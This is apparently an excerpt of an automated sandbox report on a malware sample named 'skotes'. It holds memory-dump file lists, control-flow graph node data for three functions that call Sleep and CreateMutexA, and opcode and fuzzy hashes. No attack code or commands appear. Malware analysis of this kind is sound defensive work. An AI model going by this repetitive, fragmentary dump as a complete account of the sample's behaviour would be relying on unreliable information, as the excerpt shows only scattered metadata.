                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215209420.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215246942.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215281308.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215319144.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215348783.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215376246.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215405508.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215431175.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215458256.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215481683.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215507300.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215531277.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215557777.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215586505.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215616017.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215712980.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215740578.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215767067.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215792030.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215820626.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215843709.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215875621.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215898213.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_2_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: 609c1d42b663312acb47790ed60a2bb9c5a3c70b185b9eea13dd49cd075b80b2
                                                                                                                                                                                                                                                              • Instruction ID: 36130fe7557b9d1dfd123ff12720d5c5ddd6ca5c56a31cfd102dd27acc6fb85a
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 609c1d42b663312acb47790ed60a2bb9c5a3c70b185b9eea13dd49cd075b80b2
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 62314831B051009BFF08FBB8DDC9BACBB62EBD6314F24821AE0149B2D5C73999818712
                                                                                                                                                                                                                                                              Function 00A8A682 Relevance: 3.1, APIs: 2, Instructions: 131sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 202 a8a682-a8a6a2 206 a8a6d0-a8a6ec 202->206 207 a8a6a4-a8a6b0 202->207 210 a8a71a-a8a739 206->210 211 a8a6ee-a8a6fa 206->211 208 a8a6b2-a8a6c0 207->208 209 a8a6c6-a8a6cd call a9d663 207->209 208->209 214 a8a949-a8a994 call ab6c6a * 2 Sleep CreateMutexA 208->214 209->206 212 a8a73b-a8a747 210->212 213 a8a767-a8a916 call a980c0 210->213 216 a8a6fc-a8a70a 211->216 217 a8a710-a8a717 call a9d663 211->217 218 a8a749-a8a757 212->218 219 a8a75d-a8a764 call a9d663 212->219 234 a8a996-a8a998 214->234 235 a8a9a7-a8a9a8 214->235 216->214 216->217 217->210 218->214 218->219 219->213 234->235 236 a8a99a-a8a9a5 234->236 236->235
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNELBASE(00000064), ref: 00A8A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNELBASE(00000000,00000000,00AE3254), ref: 00A8A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000002.00000002.2214523787.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214502356.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214523787.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214612212.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214645216.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214673923.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214810548.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214841740.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214924670.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214952810.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214990867.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215020428.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215044160.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215070387.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215094268.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215120797.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215153413.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215181596.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215209420.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215246942.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215281308.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215319144.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215348783.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215376246.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215405508.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215431175.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215458256.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215481683.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215507300.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215531277.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215557777.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215586505.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215616017.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215712980.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215740578.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215767067.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215792030.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215820626.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215843709.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215875621.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215898213.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_2_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: 8f497999db07e44f337244080943ed25715b2e5af8e1a6a812980b026c25fba8
                                                                                                                                                                                                                                                              • Instruction ID: bb803fe81e4838be3a760f5fc992e65639e5ac4e9370d6c905e67a7e821a3383
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 8f497999db07e44f337244080943ed25715b2e5af8e1a6a812980b026c25fba8
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 2A314831704100DBFF08EBB8DD89BADB7B2EBE1310F24821AE114DB2D5D73999818752
                                                                                                                                                                                                                                                              Function 00A89ADC Relevance: 3.1, APIs: 2, Instructions: 107sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 238 a89adc-a89ae8 239 a89aea-a89af8 238->239 240 a89afe-a89d91 call a9d663 call a97a00 call a85c10 call a88b30 call a98220 call a97a00 call a85c10 call a88b30 call a98220 238->240 239->240 241 a8a917 239->241 244 a8a953-a8a994 Sleep CreateMutexA 241->244 245 a8a917 call ab6c6a 241->245 249 a8a996-a8a998 244->249 250 a8a9a7-a8a9a8 244->250 245->244 249->250 252 a8a99a-a8a9a5 249->252 252->250
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNELBASE(00000064), ref: 00A8A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNELBASE(00000000,00000000,00AE3254), ref: 00A8A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000002.00000002.2214523787.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214502356.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214523787.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214612212.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214645216.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214673923.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214810548.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214841740.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214924670.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214952810.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214990867.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215020428.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215044160.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215070387.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215094268.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215120797.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215153413.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215181596.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215209420.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215246942.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215281308.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215319144.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215348783.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215376246.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215405508.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215431175.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215458256.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215481683.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215507300.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215531277.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215557777.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215586505.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215616017.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215712980.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215740578.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215767067.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215792030.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215820626.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215843709.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215875621.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215898213.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_2_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: 16d44c3755e46d72781579dd580193953d30198d01bb108a9bf8f41f31421596
                                                                                                                                                                                                                                                              • Instruction ID: e07e6c46a82c72324c47b2589b00e679819ab8982a430b75b2fd32eebde92787
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 16d44c3755e46d72781579dd580193953d30198d01bb108a9bf8f41f31421596
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 71213732708200DBFF18BBA8DDC9B6DB762EBD1310F24421EE558872D5C779A9818712
                                                                                                                                                                                                                                                              Function 00A8A856 Relevance: 3.1, APIs: 2, Instructions: 100sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 306 a8a856-a8a86e 307 a8a89c-a8a89e 306->307 308 a8a870-a8a87c 306->308 311 a8a8a9-a8a8b1 call a87d30 307->311 312 a8a8a0-a8a8a7 307->312 309 a8a87e-a8a88c 308->309 310 a8a892-a8a899 call a9d663 308->310 309->310 313 a8a94e-a8a987 call ab6c6a Sleep CreateMutexA 309->313 310->307 322 a8a8b3-a8a8bb call a87d30 311->322 323 a8a8e4-a8a8e6 311->323 315 a8a8eb-a8a916 call a980c0 312->315 326 a8a98e-a8a994 313->326 322->323 330 a8a8bd-a8a8c5 call a87d30 322->330 323->315 328 a8a996-a8a998 326->328 329 a8a9a7-a8a9a8 326->329 328->329 331 a8a99a-a8a9a5 328->331 330->323 335 a8a8c7-a8a8cf call a87d30 330->335 331->329 335->323 338 a8a8d1-a8a8d9 call a87d30 335->338 338->323 341 a8a8db-a8a8e2 338->341 341->315
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNELBASE(00000064), ref: 00A8A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNELBASE(00000000,00000000,00AE3254), ref: 00A8A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000002.00000002.2214523787.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214502356.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214523787.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214612212.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214645216.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214673923.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214810548.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214841740.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214924670.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214952810.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214990867.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215020428.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215044160.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215070387.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215094268.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215120797.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215153413.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215181596.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215209420.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215246942.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215281308.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215319144.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215348783.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215376246.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215405508.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215431175.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215458256.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215481683.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215507300.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215531277.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215557777.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215586505.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215616017.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215712980.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215740578.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215767067.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215792030.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215820626.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215843709.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215875621.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215898213.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_2_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: 08cec425420dae006bbfb02f362dabbcfeb8576d2dcd12fa50b7854826a344c1
                                                                                                                                                                                                                                                              • Instruction ID: 7cf884fe239134fc04fd4406251dd04653023e713af4eec45a604ca223afb92e
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 08cec425420dae006bbfb02f362dabbcfeb8576d2dcd12fa50b7854826a344c1
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 2D214C31349200DAFB24B7AC899AB7DB752DFA1300F24485BE144D73D1DE7AD98187A3
